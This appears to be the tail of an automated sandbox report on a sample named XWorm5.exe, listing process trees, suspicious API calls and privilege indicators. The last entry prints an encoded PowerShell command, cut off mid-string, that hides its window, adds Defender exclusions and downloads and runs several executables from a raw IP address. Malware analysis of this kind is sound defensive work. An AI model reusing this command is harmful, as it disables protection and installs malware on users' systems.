Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe
Token: SeShutdownPrivilege	3732	chrome.exe
Token: SeCreatePagefilePrivilege	3732	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

chrome.exetaskmgr.exe

pid	process
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

chrome.exetaskmgr.exe

pid	process
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3732	chrome.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe
3980	taskmgr.exe

Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

mspaint.exe

pid process

68 mspaint.exe
68 mspaint.exe
68 mspaint.exe
68 mspaint.exe
68 mspaint.exe

pid	process
68	mspaint.exe
68	mspaint.exe
68	mspaint.exe
68	mspaint.exe
68	mspaint.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 3732 wrote to memory of 2016	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2016	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 2136	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 4848	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 4848	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe
PID 3732 wrote to memory of 1556	3732	chrome.exe	chrome.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:656

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:604
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1012
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 1012 -s 1892
    3⤵
    PID:3960
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Checks SCSI registry key(s)
  PID:4668

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:744

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:924

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:428

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:600

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:376
- c:\windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2944

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1100

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
PID:1180

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1208
- c:\windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2808

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1228

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1308

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1316

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1344

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1468

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1508

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1528

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1600

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1608

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1772

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1848

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1868

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:2044

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2448

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3164
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://google.com
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffb627e9758,0x7ffb627e9768,0x7ffb627e9778
    3⤵
    PID:2016
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1784 --field-trial-handle=1828,i,11696062691017719391,11743286500252613712,131072 /prefetch:8
    3⤵
    PID:4848
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2068 --field-trial-handle=1828,i,11696062691017719391,11743286500252613712,131072 /prefetch:8
    3⤵
    PID:1556
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1644 --field-trial-handle=1828,i,11696062691017719391,11743286500252613712,131072 /prefetch:2
    3⤵
    PID:2136
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3084 --field-trial-handle=1828,i,11696062691017719391,11743286500252613712,131072 /prefetch:1
    3⤵
    PID:4868
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3060 --field-trial-handle=1828,i,11696062691017719391,11743286500252613712,131072 /prefetch:1
    3⤵
    PID:4300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3576 --field-trial-handle=1828,i,11696062691017719391,11743286500252613712,131072 /prefetch:1
    3⤵
    PID:540
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4668 --field-trial-handle=1828,i,11696062691017719391,11743286500252613712,131072 /prefetch:8
    3⤵
    PID:3448
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4756 --field-trial-handle=1828,i,11696062691017719391,11743286500252613712,131072 /prefetch:8
    3⤵
    PID:2860
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3824 --field-trial-handle=1828,i,11696062691017719391,11743286500252613712,131072 /prefetch:2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=1536 --field-trial-handle=1828,i,11696062691017719391,11743286500252613712,131072 /prefetch:1
    3⤵
    PID:448
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=4776 --field-trial-handle=1828,i,11696062691017719391,11743286500252613712,131072 /prefetch:1
    3⤵
    PID:5116
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5216 --field-trial-handle=1828,i,11696062691017719391,11743286500252613712,131072 /prefetch:8
    3⤵
    PID:456
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=4536 --field-trial-handle=1828,i,11696062691017719391,11743286500252613712,131072 /prefetch:1
    3⤵
    PID:3384
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5688 --field-trial-handle=1828,i,11696062691017719391,11743286500252613712,131072 /prefetch:8
    3⤵
    PID:732
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6024 --field-trial-handle=1828,i,11696062691017719391,11743286500252613712,131072 /prefetch:8
    3⤵
    PID:1440
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5688 --field-trial-handle=1828,i,11696062691017719391,11743286500252613712,131072 /prefetch:8
    3⤵
    PID:2664
- C:\Windows\system32\mspaint.exe
  "C:\Windows\system32\mspaint.exe"
  2⤵
  - Drops file in Windows directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:68
- C:\Users\Admin\Desktop\XWorm5.exe
  "C:\Users\Admin\Desktop\XWorm5.exe"
  2⤵
  - Suspicious use of SetThreadContext
  PID:4076
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:2120
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAcwBlACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG4AYwBpACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcASQBuAGoAZQBjAHQAaQBvAG4AIABmAGEAaQBsAGUAZAAhACAAWQBvAHUAIABtAHUAcwB0ACAAcgB1AG4AIAB0AGgAaQBzACAAcwBvAGYAdAB3AGEAcgBlACAAYQBzACAAQQBkAG0AaQBuACEAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBuAHEAegAjAD4AOwAiADsAPAAjAHkAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdQB4AHYAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaABxAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAawBxAHAAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkANQAuADMALgAyADIAMwAuADIAMwA0AC8AeQBlAGwAbABvAHcALgBlAHgAZQAnACwAIAA8ACMAcABsAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAHAAaAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBlAGEAYwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBNAHMAYwBvAG4AZgAuAGUAeABlACcAKQApADwAIwBqAHMAdQAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADUALgAzAC4AMgAyADMALgAyADMANAAvAGEAdgBkAGkAcwBhAGIAbABlAC4AYgBhAHQAJwAsACAAPAAjAG4AYwB5ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeQB1AHUAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB2AHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwBvAGYAdABwAHIAbwB0AGUAYwB0AC4AYgBhAHQAJwApACkAPAAjAGcAZwB6ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkANQAuADMALgAyADIAMwAuADIAMwA0AC8ATQBQAFMAVgBDAC4AZQB4AGUAJwAsACAAPAAjAGIAegBzACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbABzAGkAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcgBlAHQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbQBzAHYAYwBwAC4AZQB4AGUAJwApACkAPAAjAG4AYwBsACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkANQAuADMALgAyADIAMwAuADIAMwA0AC8AUABMAFYALgBlAHgAZQAnACwAIAA8ACMAZQBkAGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB2AGIAeAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHEAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBQAEwALgBlAHgAZQAnACkAKQA8ACMAYgBkAHIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAcQBpAHgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHYAaQB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAE0AcwBjAG8AbgBmAC4AZQB4AGUAJwApADwAIwBhAGIAaAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBuAGsAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZgBwAHQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwBvAGYAdABwAHIAbwB0AGUAYwB0AC4AYgBhAHQAJwApADwAIwB4AGoAegAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBrAGIAaQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABxAHUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbQBzAHYAYwBwAC4AZQB4AGUAJwApADwAIwBuAGEAZQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBpAGwAZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZgBtAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUABMAC4AZQB4AGUAJwApADwAIwBrAG0A